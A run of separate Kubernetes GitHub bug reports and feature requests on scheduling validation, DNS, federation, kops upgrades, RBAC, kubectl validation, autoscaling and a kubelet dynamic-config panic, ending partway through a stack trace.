validation should reject empty topologykey when !utilfeature.defaultfeaturegate.enabled features.affinityinannotations  \r \r we overlooked this in  41195\r \r relevant validation section to modify is here:\r https://github.com/kubernetes/kubernetes/blob/98a4c6ba7f879a6c608575291566c910c0b50ef4/pkg/api/validation/validation.go l2222\r \r note that the current \ allowemptytopologykey\  in the validation code is totally unrelated, and is enforcing that you can only have empty topology key with preferred scheduling, not required scheduling. we shouldn't change that.\r \r  https://github.com/kubernetes/kubernetes/blob/e58d3dbf062e9e75c3517a26310fbfc98cf9167c/plugin/pkg/scheduler/algorithm/priorities/util/topologies.go l81 is the function where the topologykey is used \r \r @aveshagarwal do you think you could fix this? should be easy.\r \r cc/ @wojtek-t  @kubernetes/sig-scheduling-bugs

ignore this issue.  this is for a 05/24 community demo  \r \r <!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :  \r \r bugfix  don't file support issues here! \r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r lots of stuff\r ---\r \r   is this a bug report or feature request?    choose one : bug-report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :  \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : \r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

feature request  \r   kubernetes version  : master  1.8.0alpha \r \r   proposal  \r since the addition of chap authentication per volume the logical next feature would be the addition of a custom initiator name per persistent volume. this would allow for more fine grained configuration, and remove the need to configure the initiator name on the host  to be the same on all of them .\r \r   idea  \r define a stable base interface to be used as a parent and clone it's settings to a new interface.\r \r the new interfaces initiator can be set like that:\r \r    \r iscsiadm -m iface -i iface_name --op=update -n  iface.initiatorname -v iqn.example.com\r    \r \r https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/5/html/online_storage_reconfiguration_guide/iscsioffload-softwareiscsi.html\r \r

 \r \r   what happened  :\r we are running an ha environment with 3 nodes  3 apiserver + 3 controller manager + 3 scheduler . we attach the virtual  ip on one of the nodes using ucarp. after restart node with vip several times. all the controllers in the 3 nodes cannot get the lock and perform as the leader. all controller shows the same log as below\r \r    \r i0821 05:35:03.122765       1 leaderelection.go:179  attempting to acquire leader lease...\r e0821 05:35:19.513926       1 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the object has been modified; please apply your changes to the latest version and try again\r e0821 05:35:23.467645       1 leaderelection.go:263  failed to update lock: operation cannot be fulfilled on endpoints \ kube-controller-manager\ : the object has been modified; please apply your changes to the latest version and try again\r    \r \r   what you expected to happen  :\r one of the controller should be elected as leader.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start a three-master cluster\r 2. restart one node and wait until apiserver, controller and scheduler are up.\r 3. go back to step 2 on another node \r \r after performing step2-3 several time, we found all controllers fail to get lock.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.2\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-45-generic\r - install tools:\r - others:\r

area/dns \r sig/network\r \r i have kubedns running.\r i am able to get cluster ip \r    \r nslookup my-ngnix-service.default\r    \r but i when i do the query for port i am not getting any output\r \r    \r nslookup _http._tcp.my-ngnix-service.default\r    \r \r kind: service\r apiversion: v1\r metadata:\r   name: my-ngnix-service\r spec:\r   selector:\r     app: nginx\r   ports:\r     - name: http\r       protocol: tcp\r       port: 9888\r       targetport: 9376

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  : i've tried to use google dns as dns provider in a federation with fcp in an on-premises cluster. i've configured a secret with the google credential file with correct permissions, i mounted the secret as a volume and assigned the \ volume path\  to the environment variable  google_application_credentials  before that i was receiving an authorization error, but this configuration fixed it  by editing the  federation-controller-manager  deployment. \r \r the credential file was generated from the  google cloud console credential page  https://console.developers.google.com/apis/credentials?pli=1&project=corc-tutorial  and has the following structure\r \r    json\r {\r   \ type\ : \ service_account\ ,\r   \ project_id\ : \ corc-tutorial\ ,\r   \ private_key_id\ : \ {the private key id}\ ,\r   \ private_key\ : \ -----begin private key-----\ \r {the private key content}\r \ -----end private key-----\ \ ,\r   \ client_email\ : \ {account}\ ,\r   \ client_id\ : \ {client_id}\ ,\r   \ auth_uri\ : \ https://accounts.google.com/o/oauth2/auth\ ,\r   \ token_uri\ : \ https://accounts.google.com/o/oauth2/token\ ,\r   \ auth_provider_x509_cert_url\ : \ https://www.googleapis.com/oauth2/v1/certs\ ,\r   \ client_x509_cert_url\ : \ https://www.googleapis.com/robot/v1/metadata/x509/{gserviceaccount_uri}\ \r }\r    \r \r then i've got the following logs in the  federation-controller-manager  pod\r    \r i0822 13:17:33.998181       1 clouddns.go:100  successfully got dns service: &{0xc420e19b00 https://www.googleapis.com/dns/v1/projects/  0xc42000e840 0xc42000e848 0xc42000e850 0xc42000e858}\r e0822 13:17:35.621941       1 dns.go:97  failed to retrieve dns zone: error querying for dns zones: googleapi: got http response code 404 with body: not found\r f0822 13:17:35.622009       1 controllermanager.go:144  failed to start service dns controller: error querying for dns zones: googleapi: got http response code 404 with body: not found\r    \r \r analyzing the issue, i figured out that the google cloud provider isn't getting the  project_id  key/value, which is causing a bug in the  projectid  property, thus generating an invalid url when trying to get information from my dns zone.\r \r \r   what you expected to happen  : once generated the credential file and configure it in the  federation-controller-manager  deployment as previously described, the google dns provider should get the dns information from the rest api and successfully manage it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create an on-premises cluster\r 2. create a dns zone in your google cloud console\r 3. initialize a federation which the fcp is the on-premises cluster created before and using google as dns provider and the dns zone created before\r 4. create a credential file giving permission to manage the project's dns\r 5. create a secret using the credential file created before\r 6. edit the   federation-controller-manager  by creating the volumes using the secret created before and an environment variable named  google_application_credentials  by using secret's mount path as value.\r \r \r   anything else we need to know?  :\r i did it work, as it should, doing a workaround which sets the  projectid  value hardcoded as you can see  here  https://github.com/walteraa/kubernetes/commit/3110b2cad1751eab499717c1f5f029bbb59f349e diff-9e1208e1d901d951628091e4e80c06dcr58 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.4\r - cloud provider or hardware configuration  :  irrelevant \r - os  e.g. from /etc/os-release :  irrelevant \r - kernel  e.g.  uname -a  :  irrelevant \r - install tools:  irrelevant \r - others:  irrelevant \r

currently we are hardcoding those values all over the place in most volume plugins. it might be a good idea to extract those in a separate constant and reuse the constants.\r \r 

   what happened  :\r \r kops upgrade 1.7.10 to 1.8.4\r    \r docker logs 4229f681c739\r flag --address has been deprecated, see --insecure-bind-address instead.\r i1204 15:51:11.735696       7 server.go:114  version: v1.8.4\r i1204 15:51:11.736135       7 cloudprovider.go:59  --external-hostname was not specified. trying to get it from the cloud provider.\r i1204 15:51:11.736196       7 aws.go:847  building aws cloudprovider\r i1204 15:51:11.736235       7 aws.go:810  zone not specified in configuration file; querying aws metadata service\r i1204 15:51:11.833294       7 tags.go:76  aws cloud filtering on clusterid: dev.k8s.domain.tld\r i1204 15:51:11.836823       7 server.go:644  initializing deserialization cache size based on 0mb limit\r i1204 15:51:11.836839       7 server.go:663  initializing cache sizes based on 0mb limit\r i1204 15:51:11.836922       7 aws.go:847  building aws cloudprovider\r i1204 15:51:11.836962       7 aws.go:810  zone not specified in configuration file; querying aws metadata service\r i1204 15:51:12.205536       7 tags.go:76  aws cloud filtering on clusterid: dev.k8s.domain.tld\r error in initializing storage factory: group version autoscaling/v2alpha1 that has not been registered\r    \r \r happens with  kops edit cluster $name \r    yaml\r   kubeapiserver:\r     runtimeconfig:\r       autoscaling/v2alpha1: \ true\  \r       batch/v2alpha1: \ true\   \r       cloudprovider: aws\r    \r \r   what you expected to happen  :\r  kops update cluster $name  does validate the configuration of the cluster and if  non supported configurations appear at least a   warning   is shown \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try to upgrade a cluster from 1.7.x to 1.8.x with the runtimeconfig for cronjobs and hpa for deployments\r \r    yaml\r   kubeapiserver:\r     runtimeconfig:\r       autoscaling/v2alpha1: \ true\  \r       batch/v2alpha1: \ true\   \r       cloudprovider: aws\r    \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r      \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : \r - kernel  e.g.  uname -a  : \r - install tools: \r    \r kops version\r version 1.8.0  git-5099bc5  \r    \r \r - others:\r \r \r   https://kubernetes.slack.com/archives/c3qufp0qm/p1512403695000567\r   https://kubernetes.slack.com/archives/c3qufp0qm/p1512404683000553\r \r

is this a bug report or feature request?  :\r  \r   what happened  :\r kubefed init failed with an error:\r \r    \r creating federation component deployments...error from server  forbidden : roles.rbac.authorization.k8s.io \ federation-system:federation-controller-manager\  is forbidden: attempt to grant extra privileges:  policyrule{resources: \ secrets\  , apigroups: \ \  , verbs: \ get\  } policyrule{resources: \ secrets\  , apigroups: \ \  , verbs: \ list\  } policyrule{resources: \ secrets\  , apigroups: \ \  , verbs: \ watch\  }  user=&{user@example.com   system:authenticated  map authenticator: gke  } ownerrules= policyrule{resources: \ selfsubjectaccessreviews\  \ selfsubjectrulesreviews\  , apigroups: \ authorization.k8s.io\  , verbs: \ create\  } policyrule{nonresourceurls: \ /api\  \ /api/ \  \ /apis\  \ /apis/ \  \ /healthz\  \ /swagger-2.0.0.pb-v1\  \ /swagger.json\  \ /swaggerapi\  \ /swaggerapi/ \  \ /version\  , verbs: \ get\  }  ruleresolutionerrors=  \r    \r   what you expected to happen  :\r succeed\r   how to reproduce it  as minimally and precisely as possible   :\r  kubefed init kfed --host-cluster-context=west-coast --dns-zone-name=\ echo.example.com\  --dns-provider=\ google-clouddns\ \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.8.6\r - cloud provider or hardware configuration:gce\r - os  e.g. from /etc/os-release :debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  :linux cs-6000-devshell-vm-8ed70339-1446-4d65-9d2b-e940e9cc9e9a 3.16.0-5-amd64  1 smp debian 3.16.51-3+deb8u1  2018-01-08  x86_64 gnu/linux\r - install tools:\r - others: cloud shell\r \r @kubernetes/sig-api-machinery-bugs

 \r i think that is is a   bug  \r \r   what happened  :\r kubectl is successfuly validate a yaml file that contains invalid data  see below for the yaml file contents :\r \r    bash\r $ kubectl --context=minikube  create --dry-run --validate -f invalid.yml \r deployment \ test\  created  dry run \r    \r however when issuing the command without the validate, it fails\r \r    bash\r $ kubectl --context=minikube apply -f invalid.yml \r the deployment \ test\  is invalid: \r   metadata.labels: invalid value: \ £\\\ +=_+!¹²³€}{{@\\\ }{@~@:>?|\\\\|¬ }\ : a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue',  or 'my_value',  or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?' \r   spec.replicas: invalid value: -100: must be greater than or equal to 0\r   spec.selector.matchlabels: invalid value: \ £\\\ +=_+!¹²³€}{{@\\\ }{@~@:>?|\\\\|¬ }\ : a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue',  or 'my_value',  or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?' \r   spec.selector: invalid value: v1.labelselector{matchlabels:map string string{\ app\ :\ £\\\ +=_+!¹²³€}{{@\\\ }{@~@:>?|\\\\|¬ }\ }, matchexpressions:  v1.labelselectorrequirement nil }: invalid label selector.\r    \r \r   what you expected to happen  :\r  kubectl create --dry-run --validate  should report that there are errors in the yaml file\r \r   how to reproduce it  as minimally and precisely as possible   :\r save the yaml below in a yaml file and apply once with \r  kubectl create --dry-run --validate  -f file.yaml \r \r and then go for real with\r  kubectl create -f file.yaml \r \r minikube can be used.\r \r    yaml\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: test\r   labels:\r     app: £\ +=_+!¹²³€}{{@\ }{@~@:>?|\\|¬ }\r   namespace: default\r spec:\r   replicas: -100\r   revisionhistorylimit: 2\r   template:\r     metadata:\r       labels:\r         app: £\ +=_+!¹²³€}{{@\ }{@~@:>?|\\|¬ }\r     spec:\r       containers:\r       - image: £\ +=_+!¹²³€}{{@\ }{@~@:>?|\\|¬ }\r         name: £\ +=_+!¹²³€}{{@\ }{@~@:>?|\\|¬ }\r         envfrom:\r         - secretref:\r             name: £\ +=_+!¹²³€}{{@\ }{@~@:>?|\\|¬ }\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:21:50z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t21:48:36z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r minikube on linux, also happens on other non minikube-clusters\r - os  e.g. from /etc/os-release :\r    \r name=\ linux mint\ \r version=\ 18.3  sylvia \ \r id=linuxmint\r id_like=ubuntu\r pretty_name=\ linux mint 18.3\ \r version_id=\ 18.3\ \r version_codename=sylvia\r ubuntu_codename=xenial\r    \r \r - kernel  e.g.  uname -a  :\r linux nb 4.13.0-43-generic  48~16.04.1-ubuntu smp thu may 17 12:56:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r \r 

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r  \r   what happened  :\r in the gke ui -> clusters, my cluster is scaled up to 14 nodes  105gb and 28cpu .\r - sum of the memory for all the pods running in the cluster is only 20gb   kubectl top pod --all-namespaces  . sum of all the memory limits is only 50gb and sum of all the memory requests is 26gb.   kubectl get nodes --no-headers | awk '{print $1}' | xargs -i {} sh -c 'echo {}; kubectl describe node {} | grep allocated -a 5 | grep -ve event -ve allocated -ve percent -ve -- ; echo'  \r - sum of the cpu for all the pods running in the cluster is only 3000m    kubectl top pod --all-namespaces  . sum of all the cpu limits is 20000m and sum of all the cpu requests is 16000m.   kubectl get nodes --no-headers | awk '{print $1}' | xargs -i {} sh -c 'echo {}; kubectl describe node {} | grep allocated -a 5 | grep -ve event -ve allocated -ve percent -ve -- ; echo'  \r \r   what you expected to happen  :\r based on the cpu requests - 16cpu - and memory requests - 26gb, i would expect the scaling to be up to 9 nodes  18cpu, 67.5gb ram \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.7-gke.5\ , gitcommit:\ 9b635efce81582e1da13b35a7aa539c0ccb32987\ , gittreestate:\ clean\ , builddate:\ 2018-08-02t23:42:40z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r    \r gke - 1.9.7-gke.5\r n1-standard-2  2 vcpus, 7.5 gb memory \r    \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r the kubelet service configured with a dynamic kubelet config fails to start on machine reboot\r \r   what you expected to happen  :\r the kubelet should start properly\r \r   how to reproduce it  as minimally and precisely as possible   :\r use kubeadm to initialize a single node cluster with the feature gate dynamickubeletconfig\r \r   anything else we need to know?  :\r workaround for this issue is to delete all contents in the dynamic config dir and restart the kubelet service\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:57:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.3\ , gitcommit:\ 435f92c719f279a3a67808c80521ea17d5715c66\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t12:46:57z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r bare metal\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r \r - kernel  e.g.  uname -a  :\r  \r linux server-name 4.15.0-39-generic  42-ubuntu smp tue oct 23 15:48:01 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r  \r \r - install tools: kubeadm\r \r kubelet config:\r    \r address: 0.0.0.0\r apiversion: kubelet.config.k8s.io/v1beta1\r authentication:\r   anonymous:\r     enabled: false\r   webhook:\r     cachettl: 2m0s\r     enabled: true\r   x509:\r     clientcafile: /etc/kubernetes/pki/ca.crt\r authorization:\r   mode: webhook\r   webhook:\r     cacheauthorizedttl: 5m0s\r     cacheunauthorizedttl: 30s\r cgroupdriver: cgroupfs\r cgroupsperqos: true\r clusterdns:\r - 172.16.0.10\r clusterdomain: cluster.local\r configmapandsecretchangedetectionstrategy: watch\r containerlogmaxfiles: 5\r containerlogmaxsize: 10mi\r contenttype: application/vnd.kubernetes.protobuf\r cpucfsquota: true\r cpucfsquotaperiod: 100ms\r cpumanagerpolicy: none\r cpumanagerreconcileperiod: 10s\r enablecontrollerattachdetach: true\r enabledebugginghandlers: true\r enforcenodeallocatable:\r - pods\r eventburst: 10\r eventrecordqps: 5\r evictionhard:\r   imagefs.available: 15%\r   memory.available: 100mi\r   nodefs.available: 10%\r   nodefs.inodesfree: 5%\r evictionpressuretransitionperiod: 5m0s\r failswapon: false\r filecheckfrequency: 20s\r hairpinmode: promiscuous-bridge\r healthzbindaddress: 127.0.0.1\r healthzport: 10248\r httpcheckfrequency: 20s\r imagegchighthresholdpercent: 85\r imagegclowthresholdpercent: 80\r imageminimumgcage: 2m0s\r iptablesdropbit: 15\r iptablesmasqueradebit: 14\r kind: kubeletconfiguration\r kubeapiburst: 10\r kubeapiqps: 5\r makeiptablesutilchains: true\r maxopenfiles: 1000000\r maxpods: 2048\r nodeleasedurationseconds: 40\r nodestatusupdatefrequency: 10s\r oomscoreadj: -999\r podpidslimit: -1\r port: 10250\r registryburst: 10\r registrypullqps: 5\r resolvconf: /etc/resolv.conf\r rotatecertificates: true\r runtimerequesttimeout: 2m0s\r serializeimagepulls: true\r staticpodpath: /etc/kubernetes/manifests\r streamingconnectionidletimeout: 4h0m0s\r syncfrequency: 1m0s\r volumestatsaggperiod: 1m0s\r    \r \r log:\r    \r nov 28 18:58:23 server-name kubelet 2235 : flag --fail-swap-on has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --cgroup-driver has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --resolv-conf has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --fail-swap-on has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --cgroup-driver has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --resolv-conf has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : i1128 18:58:23.731889    2235 controller.go:101  kubelet config controller: starting controller\r nov 28 18:58:23 server-name kubelet 2235 : i1128 18:58:23.731931    2235 controller.go:267  kubelet config controller: ensuring filesystem is set up correctly\r nov 28 18:58:23 server-name kubelet 2235 : i1128 18:58:23.731937    2235 fsstore.go:59  kubelet config controller: initializing config checkpoints directory \ /var/lib/kubelet/dynamic-config/store\ \r nov 28 18:58:23 server-name kubelet 2235 : i1128 18:58:23.732251    2235 fsstore.go:116  kubelet config controller: loading kubelet configuration checkpoint for source /api/v1/namespaces/kube-system/configmaps/kubelet-config-1.12, uid: 18112199-f287-11e8-a078-309c23ce0828, resourceversion: 177\r nov 28 18:58:23 server-name kubelet 2235 : flag --fail-swap-on has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --cgroup-driver has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : flag --resolv-conf has been deprecated, this parameter should be set via the config file specified by the kubelet's --config flag. see https://kubernetes.io/docs/tasks/administer-cluster/kubelet-config-file/ for more information.\r nov 28 18:58:23 server-name kubelet 2235 : e1128 18:58:23.733347    2235 runtime.go:66  observed a panic: reflect.unexportedtypepanic{  reflect.rtype  0x3c0b2c0 ,   reflect.rtype  0x38d9600 ,   reflect.rtype  0x3d2e820 ,   reflect.rtype  0x39a9980 ,   reflect.rtype  0x3d2b320 ,   reflect.rtype  0x3ccb820 ,   reflect.rtype  0x3531320 }  an unexported field was encountered, nested like this:  checkpoint.remoteconfigmap -> checkpoint.remoteconfigmap ->  v1.nodeconfigsource -> v1.nodeconfigsource ->  v1.configmapnodeconfigsource -> v1.configmapnodeconfigsource -> string \r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:96\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/asm_amd64.s:573\r nov 28 18:58:23 server-name kubelet 2235 : /usr/local/go/src/runtime/panic.go:502\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:219\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:186\r nov 28 18:58:23 server-name kubelet 2235 : /workspace/anago-v1.12.3-beta.0.34+435f92c719f279/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/third_party/forked/golang/reflect/deep_equal.go:183\r nov 28 18:58:23 server-name kubelet 